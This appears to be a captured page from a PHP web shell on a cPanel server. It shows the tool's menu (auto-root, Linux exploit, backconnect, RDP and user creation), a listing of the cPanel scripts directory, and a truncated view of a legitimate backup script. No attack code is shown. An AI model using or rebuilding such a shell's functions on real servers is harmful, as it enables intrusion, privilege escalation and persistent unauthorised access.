Linux 74-214-172-243.cprapid.com 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Mon Apr 20 18:04:27 EDT 2026 x86_64
Apache
: 74.214.172.243 | : 216.73.216.140
18 Domain
8.2.31
cardrly
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
cpanel /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
cpan_sandbox
[ DIR ]
drwxr-xr-x
php_sandbox
[ DIR ]
drwxr-xr-x
MirrorSearch_pingtest
2.38
KB
-rwxr-xr-x
activesync-invite-reply
1.69
KB
-rwxr-xr-x
add_dns
2.36
KB
-rwxr-xr-x
adddns
2.36
KB
-rwxr-xr-x
addpop
6.08
KB
-rwxr-xr-x
addsystemuser
3.27
KB
-rwxr-xr-x
adduser
92
B
-rwxr-xr-x
agent360.sh
16.03
KB
-rwx------
apachelimits
4.31
KB
-rwxr-xr-x
archive_sync_zones
3.05
KB
-rwxr-xr-x
auto-adjust-mysql-limits
1.81
KB
-rwxr-xr-x
autorepair
1.24
KB
-rwxr-xr-x
backup_jobs_helper
10.88
KB
-rwxr-xr-x
backups_clean_metadata_for_mis...
1.57
KB
-rwxr-xr-x
backups_create_metadata
15.75
KB
-rwxr-xr-x
backups_list_user_files
4.56
KB
-rwxr-xr-x
balance_linked_node_quotas
2.58
KB
-rwxr-xr-x
biglogcheck
1.69
KB
-rwxr-xr-x
build_bandwidthdb_root_cache_i...
1.52
KB
-rwxr-xr-x
build_cpnat
3.41
KB
-rwxr-xr-x
build_mail_sni
3.87
KB
-rwxr-xr-x
build_maxemails_config
1.14
KB
-rwxr-xr-x
builddovecotconf
9.64
KB
-rwxr-xr-x
buildeximconf
7
KB
-rwxr-xr-x
buildhttpdconf
2.6
KB
-rwxr-xr-x
buildpureftproot
539
B
-rwxr-xr-x
call_pkgacct
2.25
KB
-rwxr-xr-x
ccs-check
4.91
KB
-rwxr-xr-x
check_cpanel_pkgs
10.75
KB
-rwxr-xr-x
check_domain_tls_service_domai...
6.68
KB
-rwxr-xr-x
check_immutable_files
5.49
KB
-rwxr-xr-x
check_mail_spamassassin_compil...
187
B
-rwxr-xr-x
check_maxmem_against_domains_c...
3.57
KB
-rwxr-xr-x
check_mount_procfs
2.02
KB
-rwxr-xr-x
check_mysql
5.56
KB
-rwxr-xr-x
check_plugin_pkgs
2.45
KB
-rwxr-xr-x
check_security_advice_changes
8.28
KB
-rwxr-xr-x
check_unmonitored_enabled_serv...
4.56
KB
-rwxr-xr-x
check_unreliable_resolvers
3.59
KB
-rwxr-xr-x
check_users_my_cnf
6.05
KB
-rwxr-xr-x
check_valid_server_hostname
7.66
KB
-rwxr-xr-x
checkalldomainsmxs
2.4
KB
-rwxr-xr-x
checkbashshell
1.18
KB
-rwxr-xr-x
checkccompiler
1.22
KB
-rwxr-xr-x
checkexim.pl
3.1
KB
-rwxr-xr-x
checklink
1.29
KB
-rwxr-xr-x
checkusers
856
B
-rwxr-xr-x
chkpaths
141
B
-rwxr-xr-x
chpass
416
B
-rwxr-xr-x
ckillall
1.11
KB
-rwxr-xr-x
clean_dead_mailman_locks
2.09
KB
-rwxr-xr-x
clean_up_temp_wheel_users
2.44
KB
-rwxr-xr-x
clean_user_php_sessions
4.76
KB
-rwxr-xr-x
cleandns
13.11
KB
-rwxr-xr-x
cleandns8
417
B
-rwxr-xr-x
cleanmsglog
735
B
-rwxr-xr-x
cleanphpsessions
932
B
-rwxr-xr-x
cleanphpsessions.php
658
B
-rw-r--r--
cleanquotas
1.61
KB
-rwxr-xr-x
cleansessions
5.89
KB
-rwxr-xr-x
cleanupinterchange
2.64
KB
-rwxr-xr-x
cleanupmysqlprivs
773
B
-rwxr-xr-x
clear_orphaned_virtfs_mounts
3.56
KB
-rwxr-xr-x
comet_license_registration_syn...
1.67
KB
-rwxr-xr-x
comet_protected_item_maintenan...
20.78
KB
-rwxr-xr-x
comparecdb
1.52
KB
-rwxr-xr-x
compilers
2.86
KB
-rwxr-xr-x
compilerscheck
999
B
-rwxr-xr-x
configure_firewall_for_cpanel
520
B
-rwxr-xr-x
configure_rh_firewall_for_cpan...
520
B
-rwxr-xr-x
configure_rh_ipv6_firewall_for...
520
B
-rwxr-xr-x
convert2dovecot
682
B
-rwxr-xr-x
convert_accesshash_to_token
4.07
KB
-rwxr-xr-x
convert_and_migrate_from_legac...
1.97
KB
-rwxr-xr-x
convert_maildir_to_mdbox
1.66
KB
-rwxr-xr-x
convert_mdbox_to_maildir
1.66
KB
-rwxr-xr-x
convert_roundcube_mysql2sqlite
26.12
KB
-rwxr-xr-x
convert_to_dovecot_delivery
4.33
KB
-rwxr-xr-x
convert_whmxfer_to_sqlite
1.46
KB
-rwxr-xr-x
copy_user_mail_as_root
1.25
KB
-rwxr-xr-x
copy_user_mail_as_user
1.34
KB
-rwxr-xr-x
cpan_config
2.8
KB
-rwxr-xr-x
cpanel_initial_install
67.95
KB
-rwxr-xr-x
cpanelsync
28.31
KB
-rwxr-xr-x
cpanelsync_postprocessor
1.62
KB
-rwxr-xr-x
cpanpingtest
965
B
-rwxr-xr-x
cpbackup
44.79
KB
-rwxr-xr-x
cpbackup_transport_file
5.65
KB
-rwxr-xr-x
cpdig
2.81
KB
-rwxr-xr-x
cpfetch
1.23
KB
-rwxr-xr-x
cphulkdblacklist
433
B
-rwxr-xr-x
cphulkdwhitelist
1.3
KB
-rwxr-xr-x
cpservice
2.87
KB
-rwxr-xr-x
cpuser_port_authority
19.29
KB
-rwxr-xr-x
cpuser_service_manager
10.85
KB
-rwxr-xr-x
create_default_featurelist
11.62
KB
-rwx------
createacct
30.34
MB
-rwx------
custom_backup_destination.pl.s...
5.06
KB
-rwxr-xr-x
custom_backup_destination.pl.s...
2.84
KB
-rwxr-xr-x
dcpumon-wrapper
850
B
-rwxr-xr-x
delpop
6.2
KB
-rwxr-xr-x
detect_env_capabilities
508
B
-rwxr-xr-x
disable_prelink
2.77
KB
-rwxr-xr-x
disablefileprotect
2.19
KB
-rwxr-xr-x
distro_changed_hook
1.16
KB
-rwxr-xr-x
dnscluster
4.44
KB
-rwxr-xr-x
dnsqueuecron
1.29
KB
-rwxr-xr-x
dnssec-cluster-keys
3.75
KB
-rwxr-xr-x
dovecot_maintenance
7.66
KB
-rwxr-xr-x
dovecot_set_defaults.pl
984
B
-rwxr-xr-x
dumpcdb
866
B
-rwxr-xr-x
dumpinodes
687
B
-rwxr-xr-x
dumpquotas
616
B
-rwxr-xr-x
dumpstor
913
B
-rwxr-xr-x
ea4_fresh_install
2.64
KB
-rwxr-xr-x
edit_cpanelsync_exclude_list
2.58
KB
-rwxr-xr-x
editquota
3.43
KB
-rwxr-xr-x
elevate-cpanel
414.63
KB
-rwx------
email_archive_maintenance
6.15
KB
-rwxr-xr-x
email_hold_maintenance
1.46
KB
-rwxr-xr-x
enable_spf_dkim_globally
8.83
KB
-rwxr-xr-x
enablefileprotect
2.1
KB
-rwxr-xr-x
ensure_autoenabled_features
3.17
MB
-rwx------
ensure_conf_dir_crt_key
4.82
KB
-rwxr-xr-x
ensure_cpuser_file_ip
2.55
KB
-rwxr-xr-x
ensure_crontab_permissions
1.08
KB
-rwxr-xr-x
ensure_dovecot_memory_limits_m...
3.13
KB
-rwxr-xr-x
ensure_hostname_resolves
2.51
KB
-rwxr-xr-x
ensure_includes
601
B
-rwxr-xr-x
ensure_vhost_includes
13.53
KB
-rwxr-xr-x
exim_tidydb
2.96
KB
-rwxr-xr-x
eximconfgen
1.32
KB
-rwxr-xr-x
eximstats_spam_check
867
B
-rwxr-xr-x
expunge_expired_certificates_f...
3.56
KB
-rwxr-xr-x
expunge_expired_pkgacct_sessio...
852
B
-rwxr-xr-x
expunge_expired_transfer_sessi...
1.06
KB
-rwxr-xr-x
fastmail
5.16
KB
-rwxr-xr-x
featuremod
1.92
KB
-rwxr-xr-x
fetchfile
422
B
-rwxr-xr-x
find_and_fix_rpm_issues
6.99
KB
-rwxr-xr-x
find_outdated_services
6.47
KB
-rwxr-xr-x
find_pids_with_inotify_watch_o...
3.66
KB
-rwxr-xr-x
fix-cpanel-perl
28.43
KB
-rwxr-xr-x
fix-listen-on-localhost
3.94
KB
-rwxr-xr-x
fix-web-vhost-configuration
6.15
KB
-rwxr-xr-x
fix_dns_zone_ttls
1.34
KB
-rwxr-xr-x
fix_innodb_tables
4.05
KB
-rwxr-xr-x
fix_reseller_acls
10.7
KB
-rwxr-xr-x
fixetchosts
4.32
KB
-rwxr-xr-x
fixheaders
572
B
-rwxr-xr-x
fixmailinglistperms
1008
B
-rwxr-xr-x
fixmailman
2.09
KB
-rwxr-xr-x
fixnamedviews
1.22
KB
-rwxr-xr-x
fixndc
413
B
-rwxr-xr-x
fixquotas
18.39
KB
-rwxr-xr-x
fixrelayd
1.74
KB
-rwxr-xr-x
fixrndc
16.39
KB
-rwxr-xr-x
fixtar
503
B
-rwxr-xr-x
fixtlsversions
4.7
KB
-rwxr-xr-x
fixvaliases
2
KB
-rwxr-xr-x
fixwebalizer
966
B
-rwxr-xr-x
forcelocaldomain
895
B
-rwxr-xr-x
ftpfetch
2.2
KB
-rwxr-xr-x
ftpquotacheck
8.31
KB
-rwxr-xr-x
ftpsfetch
2.36
KB
-rwxr-xr-x
ftpupdate
261
B
-rwxr-xr-x
gather_update_log_stats
4.25
KB
-rwx------
gather_update_logs_setupcronta...
5.45
KB
-rwx------
gemwrapper
1.74
KB
-rwxr-xr-x
gencrt
6.26
KB
-rwxr-xr-x
generate_account_suspension_in...
5.7
KB
-rwxr-xr-x
generate_google_drive_credenti...
1.11
KB
-rwxr-xr-x
generate_google_drive_oauth_ur...
984
B
-rwxr-xr-x
generate_maildirsize
13.94
KB
-rwxr-xr-x
gensysinfo
1.16
KB
-rwxr-xr-x
get_locale_from_legacy_name_in...
1.99
KB
-rwxr-xr-x
getremotecpmove
12.67
KB
-rwxr-xr-x
grpck
1.19
KB
-rwxr-xr-x
hackcheck
3.02
KB
-rwxr-xr-x
hook
1.45
KB
-rwxr-xr-x
httpspamdetect
2.82
KB
-rwxr-xr-x
hulk-unban-ip
4.09
MB
-rwx------
import_exim_data
8.39
KB
-rwxr-xr-x
increase_filesystem_limits
891
B
-rwxr-xr-x
initacls
4.99
KB
-rwxr-xr-x
initfpsuexec
444
B
-rwxr-xr-x
initialize_360monitoring
2.76
KB
-rwx------
initquotas
19.35
KB
-rwxr-xr-x
initsuexec
4.03
KB
-rwxr-xr-x
install_cpanel_analytics
1.93
KB
-rwxr-xr-x
install_dovecot_fts
1.57
KB
-rwxr-xr-x
install_plugin
2.8
KB
-rwxr-xr-x
install_tuxcare_els_php
1.84
KB
-rwxr-xr-x
installpkg
575
B
-rwxr-xr-x
installpostgres
6.56
KB
-rwxr-xr-x
installsqlite3
1.82
KB
-rwxr-xr-x
ipcheck
3.93
KB
-rwxr-xr-x
ipusage
7.45
KB
-rwxr-xr-x
is_update_available
3.26
KB
-rwxr-xr-x
isdedicatedip
602
B
-rwxr-xr-x
jetbackup-check
3.69
KB
-rwxr-xr-x
killdns
422
B
-rwxr-xr-x
killdns-dnsadmin
1.15
KB
-rwxr-xr-x
killmysqluserprivs
433
B
-rwxr-xr-x
killmysqlwildcard
1.15
KB
-rwxr-xr-x
killpvhost
853
B
-rwxr-xr-x
killspamkeys
937
B
-rwxr-xr-x
link_3rdparty_binaries
1.24
KB
-rwxr-xr-x
linksubemailtomainacct
3.17
KB
-rwxr-xr-x
listcheck
538
B
-rwxr-xr-x
listsubdomains
1.05
KB
-rwxr-xr-x
litespeed-check
3.86
KB
-rwxr-xr-x
locale_export
5.21
KB
-rwxr-xr-x
locale_import
4.35
KB
-rwxr-xr-x
locale_info
3.99
KB
-rwxr-xr-x
log_retention
21.28
KB
-rwxr-xr-x
logo.dat
205
B
-rw-r--r--
magicloader
1.94
KB
-rwxr-xr-x
maildir_converter
6.08
KB
-rwxr-xr-x
mailperm
16.53
KB
-rwxr-xr-x
mailscannerupdate
2.42
KB
-rwxr-xr-x
mainipcheck
10
KB
-rwxr-xr-x
maintenance
52.61
KB
-rwxr-xr-x
make_config
407
B
-rw-r--r--
make_hostname_unowned
1.16
KB
-rwxr-xr-x
manage_extra_marketing
12.76
KB
-rwx------
manage_greylisting
16.33
KB
-rwxr-xr-x
manage_mysql_profiles
16.33
KB
-rwxr-xr-x
mass_change_php_setting
10.65
KB
-rwxr-xr-x
migrate_ccs_to_cpdavd
47.06
KB
-rwxr-xr-x
migrate_local_ini_to_php_ini
7.41
KB
-rwxr-xr-x
migrate_whmtheme_file_to_userd...
2.95
KB
-rwxr-xr-x
mkwwwacctconf
2.33
KB
-rwxr-xr-x
modify_accounts
4.07
KB
-rwxr-xr-x
modify_featurelist
11.33
KB
-rwx------
modify_packages
3.64
KB
-rwxr-xr-x
modsec_vendor
15.63
KB
-rwxr-xr-x
mysqlconnectioncheck
6.72
KB
-rwxr-xr-x
mysqlpasswd
4.14
KB
-rwxr-xr-x
named.ca
1.57
KB
-rw-r--r--
named.rfc1912.zones
774
B
-rw-r--r--
notify_expiring_certificates
9.37
KB
-rwxr-xr-x
notify_expiring_certificates_o...
1.33
KB
-rwxr-xr-x
oopscheck
1.12
KB
-rwxr-xr-x
optimize_eximstats
3.88
KB
-rwxr-xr-x
panel_ini
4.11
KB
-rwxr-xr-x
patch_mail_spamassassin_compil...
2.39
KB
-rwxr-xr-x
patchfdsetsize
2.72
KB
-rwxr-xr-x
pedquota
2.26
KB
-rwxr-xr-x
perform_sqlite_auto_rebuild_db...
1.98
KB
-rwxr-xr-x
perlinstaller
528
B
-rwxr-xr-x
perlmods
1.18
KB
-rwxr-xr-x
php_fpm_config
9.73
KB
-rwxr-xr-x
phpini_tidy
687
B
-rwxr-xr-x
pkgacct
89.91
KB
-rwxr-xr-x
post_snapshot
2.09
KB
-rwxr-xr-x
post_sync_cleanup
5.83
KB
-rwxr-xr-x
postupcp
33
B
-rw-r--r--
primary_virtual_host_migration
2.44
KB
-rwxr-xr-x
process_cpmove
4.32
KB
-rwxr-xr-x
process_pending_cpanel_php_pea...
2.73
KB
-rwxr-xr-x
proxydomains
9.59
KB
-rwxr-xr-x
ptycheck
724
B
-rwxr-xr-x
purge_modsec_log
1.53
KB
-rwxr-xr-x
purge_old_config_caches
2.08
KB
-rwxr-xr-x
pwck
708
B
-rwxr-xr-x
quickdnslookup
1.13
KB
-rwxr-xr-x
quickwhoisips
2.29
KB
-rwxr-xr-x
quota_auto_fix
1.41
KB
-rwxr-xr-x
quotacheck
22.36
KB
-rwxr-xr-x
rawchpass
460
B
-rwxr-xr-x
rdate
4.81
KB
-rwxr-xr-x
realadduser
5.61
KB
-rwxr-xr-x
realchpass
3.26
KB
-rwxr-xr-x
realperlinstaller
5.67
KB
-rwxr-xr-x
realrawchpass
425
B
-rwxr-xr-x
rebuild_bandwidthdb_root_cache
1.45
KB
-rwxr-xr-x
rebuild_dbmap
5.8
KB
-rwxr-xr-x
rebuild_provider_openid_connec...
1.01
KB
-rwxr-xr-x
rebuild_whm_chrome
2.22
KB
-rwxr-xr-x
rebuilddnsconfig
25.5
KB
-rwxr-xr-x
rebuildhttpdconf
2.6
KB
-rwxr-xr-x
rebuildinstalledssldb
2.85
KB
-rwxr-xr-x
rebuildippool
509
B
-rwxr-xr-x
rebuilduserssldb
948
B
-rwxr-xr-x
refresh-dkim-validity-cache
5.97
KB
-rwxr-xr-x
regenerate_tokens
2.18
KB
-rwxr-xr-x
remote_log_transfer
11.6
KB
-rwxr-xr-x
remove_dovecot_index_files
5.89
KB
-rwxr-xr-x
removeacct
28.25
MB
-rwx------
rescan_user_dovecot_fts
2.98
KB
-rwxr-xr-x
reset_mail_quotas_to_sane_valu...
6.82
KB
-rwxr-xr-x
resetmailmanurls
2.03
KB
-rwxr-xr-x
resetquotas
4.61
KB
-rwxr-xr-x
restartsrv
3.19
KB
-rwxr-xr-x
restartsrv_apache
422
B
-rwxr-xr-x
restartsrv_apache_php_fpm
10.85
MB
-rwxr-xr-x
restartsrv_base
10.85
MB
-rwxr-xr-x
restartsrv_bind
10.85
MB
-rwxr-xr-x
restartsrv_chkservd
427
B
-rwxr-xr-x
restartsrv_clamd
10.85
MB
-rwxr-xr-x
restartsrv_cpanel_php_fpm
10.85
MB
-rwxr-xr-x
restartsrv_cpanellogd
10.85
MB
-rwxr-xr-x
restartsrv_cpdavd
10.85
MB
-rwxr-xr-x
restartsrv_cpgreylistd
10.85
MB
-rwxr-xr-x
restartsrv_cphulkd
10.85
MB
-rwxr-xr-x
restartsrv_cpipv6
10.85
MB
-rwxr-xr-x
restartsrv_cpsrvd
10.85
MB
-rwxr-xr-x
restartsrv_crond
10.85
MB
-rwxr-xr-x
restartsrv_dnsadmin
10.85
MB
-rwxr-xr-x
restartsrv_dovecot
10.85
MB
-rwxr-xr-x
restartsrv_exim
10.85
MB
-rwxr-xr-x
restartsrv_eximstats
504
B
-rwxr-xr-x
restartsrv_ftpd
426
B
-rwxr-xr-x
restartsrv_ftpserver
911
B
-rwxr-xr-x
restartsrv_httpd
10.85
MB
-rwxr-xr-x
restartsrv_imap
437
B
-rwxr-xr-x
restartsrv_inetd
2.47
KB
-rwxr-xr-x
restartsrv_ipaliases
10.85
MB
-rwxr-xr-x
restartsrv_lmtp
437
B
-rwxr-xr-x
restartsrv_mailman
10.85
MB
-rwxr-xr-x
restartsrv_mysql
10.85
MB
-rwxr-xr-x
restartsrv_named
579
B
-rwxr-xr-x
restartsrv_nscd
10.85
MB
-rwxr-xr-x
restartsrv_p0f
10.85
MB
-rwxr-xr-x
restartsrv_pdns
10.85
MB
-rwxr-xr-x
restartsrv_pop3
437
B
-rwxr-xr-x
restartsrv_postgres
427
B
-rwxr-xr-x
restartsrv_postgresql
10.85
MB
-rwxr-xr-x
restartsrv_powerdns
442
B
-rwxr-xr-x
restartsrv_proftpd
10.85
MB
-rwxr-xr-x
restartsrv_pureftpd
10.85
MB
-rwxr-xr-x
restartsrv_queueprocd
10.85
MB
-rwxr-xr-x
restartsrv_rsyslog
10.85
MB
-rwxr-xr-x
restartsrv_rsyslogd
437
B
-rwxr-xr-x
restartsrv_spamd
10.85
MB
-rwxr-xr-x
restartsrv_sshd
10.85
MB
-rwxr-xr-x
restartsrv_syslogd
2.4
KB
-rwxr-xr-x
restartsrv_tailwatchd
10.85
MB
-rwxr-xr-x
restartsrv_unknown
10.85
MB
-rwxr-xr-x
restartsrv_xinetd
422
B
-rwxr-xr-x
restorecpuserfromcache
1.96
KB
-rwxr-xr-x
restorepkg
48.69
MB
-rwx------
rfc1912_zones.tar
10
KB
-rw-r--r--
rpmup
5.07
KB
-rwxr-xr-x
rsync-user-homedir.pl
5.76
KB
-rwxr-xr-x
run_if_exists
512
B
-rwxr-xr-x
run_plugin_lifecycle
3.82
KB
-rwx------
runstatsonce
440
B
-rwxr-xr-x
runweblogs
1.02
KB
-rwxr-xr-x
sa-update_wrapper
3.34
KB
-rwxr-xr-x
safetybits.pl
844
B
-rwxr-xr-x
secureit
4.72
KB
-rwxr-xr-x
securemysql
4.4
KB
-rwxr-xr-x
securerailsapps
3.58
KB
-rwxr-xr-x
securetmp
16.76
KB
-rwxr-xr-x
sendicq
474
B
-rwxr-xr-x
servicedomains
9.59
KB
-rwxr-xr-x
set_mailman_archive_perms
1.75
KB
-rwxr-xr-x
setpostgresconfig
6.04
KB
-rwxr-xr-x
setup_greylist_db
16.33
KB
-rwxr-xr-x
setup_modsec_db
1.3
KB
-rwxr-xr-x
setup_systemd_timer_for_plugin...
3.92
KB
-rwx------
setupftpserver
10.47
KB
-rwxr-xr-x
setupmailserver
9.39
KB
-rwxr-xr-x
setupnameserver
12.6
KB
-rwxr-xr-x
show_php_settings
3.67
KB
-rwxr-xr-x
shrink_modsec_ip_database
12.97
KB
-rwxr-xr-x
simpleps
3.05
KB
-rwxr-xr-x
slurp_exim_mainlog
5.78
KB
-rwxr-xr-x
smartcheck
15.13
KB
-rwxr-xr-x
smtpmailgidonly
8.15
KB
-rwxr-xr-x
snapshot_prep
5.88
KB
-rwxr-xr-x
spamassassin_dbm_cleaner
5.85
KB
-rwxr-xr-x
spamassassindisable
3.74
KB
-rwxr-xr-x
spamboxdisable
2.27
KB
-rwxr-xr-x
sshcontrol
14.38
KB
-rwxr-xr-x
ssl_crt_status
3.84
KB
-rwxr-xr-x
suspendacct
18.08
KB
-rwxr-xr-x
suspendmysqlusers
4.78
KB
-rwxr-xr-x
swapip
3.82
KB
-rwxr-xr-x
sync-mysql-users-from-grants
1.2
KB
-rwxr-xr-x
sync_child_accounts
1.77
KB
-rwxr-xr-x
sync_contact_emails_to_cpanel_...
1.14
KB
-rwxr-xr-x
synctransfers
1.92
KB
-rwxr-xr-x
syslog_check
1.36
KB
-rwxr-xr-x
sysup
645
B
-rwxr-xr-x
test_sa_compiled
1.07
KB
-rwxr-xr-x
transfer_account_as_user
2.34
KB
-rwxr-xr-x
transfer_accounts_as_root
4.76
KB
-rwxr-xr-x
transfer_in_progress
3.08
KB
-rwxr-xr-x
transfer_in_progress.pod
312
B
-rw-r--r--
transfermysqlusers
10.13
MB
-rwx------
try-later
7.95
KB
-rwxr-xr-x
unblockip
667
B
-rwxr-xr-x
uninstall_cpanel_analytics
1.2
KB
-rwxr-xr-x
uninstall_dovecot_fts
562
B
-rwxr-xr-x
uninstall_plugin
2.84
KB
-rwxr-xr-x
unlink_service_account
2.62
KB
-rwxr-xr-x
unpkgacct
4.6
KB
-rwxr-xr-x
unslavenamedconf
863
B
-rwxr-xr-x
unsuspendacct
17.96
KB
-rwxr-xr-x
unsuspendmysqlusers
7.1
KB
-rwxr-xr-x
upcp
36.79
KB
-rwxr-xr-x
upcp-running
2.7
KB
-rwxr-xr-x
upcp.static
943.97
KB
-rwxr-xr-x
update-packages
5.07
KB
-rwxr-xr-x
update_apachectl
480
B
-rwxr-xr-x
update_db_cache
430
B
-rwxr-xr-x
update_dkim_keys
1.45
KB
-rwxr-xr-x
update_exim_rejects
1.21
KB
-rwxr-xr-x
update_existing_mail_quotas_fo...
4.78
KB
-rwxr-xr-x
update_feature_flags
957
B
-rwxr-xr-x
update_freebusy_data
5.25
KB
-rwxr-xr-x
update_known_proxy_ips
1002
B
-rwxr-xr-x
update_local_rpm_versions
4.56
KB
-rwxr-xr-x
update_mailman_cache
8.34
KB
-rwxr-xr-x
update_mysql_systemd_config
1.07
KB
-rwxr-xr-x
update_neighbor_netblocks
487
B
-rwxr-xr-x
update_sa_config
2.14
KB
-rwxr-xr-x
update_spamassassin_config
10.73
KB
-rwxr-xr-x
update_users_jail
691
B
-rwxr-xr-x
update_users_vhosts
801
B
-rwxr-xr-x
updatedomainips
605
B
-rwxr-xr-x
updatenameserverips
1.66
KB
-rwxr-xr-x
updatenow
5.18
KB
-rwxr-xr-x
updatenow.static
2.02
MB
-rwxr-xr-x
updatesigningkey
1.95
KB
-rwxr-xr-x
updatessldomains
1.81
KB
-rwxr-xr-x
updatesupportauthorizations
2.49
KB
-rwxr-xr-x
updateuserdatacache
2.47
KB
-rwxr-xr-x
updateuserdomains
774
B
-rwxr-xr-x
upgrade_bandwidth_dbs
2.22
KB
-rwxr-xr-x
upgrade_subaccount_databases
2.73
KB
-rwxr-xr-x
userdata_wildcard_cleanup
5.74
KB
-rwxr-xr-x
userdirctl
5.01
KB
-rwxr-xr-x
validate_sshkey_passphrase
1.21
KB
-rwxr-xr-x
verify_api_spec_files
757
B
-rwxr-xr-x
verify_pidfile
1.96
KB
-rwxr-xr-x
verify_vhost_includes
7.34
KB
-rwxr-xr-x
vps_optimizer
7.82
KB
-rwxr-xr-x
vzzo-fixer
725
B
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
whoowns
1.13
KB
-rwxr-xr-x
wwwacct
30.34
MB
-rwx------
wwwacct2
88
B
-rwxr-xr-x
xfer_rcube_schema_migrate.pl
2.4
KB
-rwxr-xr-x
xfer_rcube_uid_resolver.pl
1.8
KB
-rwxr-xr-x
xferpoint
3.13
KB
-rwxr-xr-x
xfertool
16.23
KB
-rwxr-xr-x
zoneexists
800
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backup_jobs_helper
#!/usr/local/cpanel/3rdparty/bin/perl # Copyright 2025 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. package scripts::backup_jobs_helper; use cPstrict; use Getopt::Long qw(GetOptions); use Pod::Usage qw(pod2usage); use Time::Piece (); use Cpanel::Logger; use Cpanel::Debug (); use Cpanel::Plugins::FileLock (); use Whostmgr::CometBackup::BackupJobs (); use Whostmgr::CometBackup::Scheduling (); use Whostmgr::CometBackup::Constants (); use Data::UUID (); use POSIX (); my $LOCK_FILE = '/var/run/comet_backup_jobs_helper.lock'; my $logger = Cpanel::Logger->new(); =encoding utf-8 =head1 NAME backup_jobs_helper - Process scheduled backup jobs for Comet Backup integration =head1 SYNOPSIS backup_jobs_helper [options] =head1 DESCRIPTION This script processes scheduled backup jobs by checking which jobs are due to run and executing them. It is designed to be called periodically by cron. The script performs the following operations: =over =item * Retrieves all active backup jobs from the database =item * Checks which jobs are scheduled to run at the current time =item * Executes any due backup jobs =item * Updates job status and last run timestamps =back =head1 OPTIONS =over =item --help Show this help message and exit. =item --verbose Enable verbose logging output. =item --debug Enable debug logging output (shows detailed scheduling calculations). =item --dry-run Show what would be done without actually executing backup jobs. =back =head1 EXAMPLES # Process backup jobs normally /usr/local/cpanel/scripts/backup_jobs_helper # Show what would be done without executing /usr/local/cpanel/scripts/backup_jobs_helper --dry-run # Enable verbose output /usr/local/cpanel/scripts/backup_jobs_helper --verbose # Enable debug output /usr/local/cpanel/scripts/backup_jobs_helper --debug =cut sub main { # Plugin policy: nothing in this process should be world-readable. umask 0027; my ( $help, $verbose, $dry_run, $debug ); GetOptions( 'help|h' => \$help, 'verbose|v' => \$verbose, 'dry-run' => \$dry_run, 'debug|d' => \$debug, ) or pod2usage(2); pod2usage(1) if $help; # Enable debug logging if --debug flag is set if ($debug) { $Cpanel::Debug::level = 1; } my $lock_obj = Cpanel::Plugins::FileLock->new($LOCK_FILE); if ( -e $LOCK_FILE ) { if ( $lock_obj->exists() ) { # SafeFile confirms the lock is held by a live process — exit cleanly. $logger->info('Another backup_jobs_helper is already running; exiting.'); exit 0; ## no critic (Cpanel::NoExitsFromSubroutines) } # Lock file exists but SafeFile does not consider it held (previous # process died without cleaning up) — remove the stale file so # create() can succeed. $logger->warn("Removing stale lock (previous process is no longer running)"); unlink $LOCK_FILE or $logger->warn("Could not unlink stale lock $LOCK_FILE: $!"); } my $lock = $lock_obj->create(); unless ($lock) { $logger->error("Failed to acquire lock $LOCK_FILE; cannot proceed."); exit 1; } # Disable DESTROY-based release immediately — we manage cleanup manually. $lock_obj->disable_auto_cleanup(); my $current_time = time(); my $current_dt = Time::Piece->new($current_time); if ($verbose) { $logger->info( "Starting backup jobs helper at " . $current_dt->strftime('%Y-%m-%d %H:%M:%S') ); } eval { my $jobs_manager = Whostmgr::CometBackup::BackupJobs->new(); my $scheduler = Whostmgr::CometBackup::Scheduling->new(); # Get all active scheduled backup jobs my @active_jobs = $jobs_manager->get_backup_jobs(); if ($verbose) { $logger->info( "Found " . scalar(@active_jobs) . " active backup jobs" ); } # comet_backup_runner enforces a system-wide single-runner guard via # its PID file: a second runner invocation will exit immediately. If a # runner is already active we must not mark any due job 'running' or # fork a second runner — the runner would die on its PID-file guard # and the DB row would be left stuck. Bail out of this sweep; the # cron tick will retry once the current runner finishes. if ( !$dry_run ) { if ( my $active_pid = Whostmgr::CometBackup::Constants::existing_runner_pid() ) { $logger->info("comet_backup_runner already active (PID $active_pid); skipping this sweep."); return; } } my $jobs_processed = 0; my $runner_dispatched = 0; for my $job (@active_jobs) { $logger->debug( "LOOKING AT JOB: " . $job->{job_id} . " ( " . $job->{description} . " | $job->{schedule_type} )" ); # Skip manual jobs - they are not scheduled next if $job->{schedule_type} eq 'manual'; # Skip if job is currently running next if $job->{status} && $job->{status} eq 'running'; # Check if this job should run now my $should_run = _should_job_run_now( $job, $scheduler ); if ($should_run) { if ($verbose) { $logger->info( "Processing backup job: " . $job->{name} . " (job_id: " . $job->{job_id} . ")" ); } if ($dry_run) { print "Would execute backup job: " . $job->{name} . " (job_id: " . $job->{job_id} . ")\n"; $jobs_processed++; next; } # Only one runner can be active system-wide. Dispatch the # first due job, then stop — additional due jobs will be # picked up by the next cron tick once this runner exits. _execute_backup_job( $jobs_manager, $job ); $jobs_processed++; $runner_dispatched = 1; last; } } if ($verbose) { $logger->info("Processed $jobs_processed backup jobs"); if ($runner_dispatched) { $logger->info("Deferred remaining due jobs to subsequent cron ticks (single-runner policy)."); } } if ( ( $verbose || $debug ) && $dry_run && $jobs_processed == 0 ) { $logger->info("No backup jobs are currently due to run"); } }; $lock_obj->remove($lock); if ($@) { $logger->error("Error in backup jobs helper: $@"); exit 1; } if ($verbose) { $logger->info("Backup jobs helper completed successfully"); } } sub _should_job_run_now { my ( $job, $scheduler ) = @_; # Parse job configuration my $schedule_info = $job->{schedule_info} || {}; my $last_run = $job->{last_run}; # Calculate next run time based on schedule my $next_run_time; eval { $next_run_time = $scheduler->calculate_next_run( $schedule_info, $last_run ); }; if ($@) { $logger->warn( "Could not calculate next run time for job " . $job->{job_id} . ": $@" ); return 0; } $logger->debug( "Next run time for job " . $job->{job_id} . " ( $job->{description} ) : " . scalar localtime($next_run_time) ); # Re-sample the clock immediately before comparing so that any gap between # script start and the scheduler's own 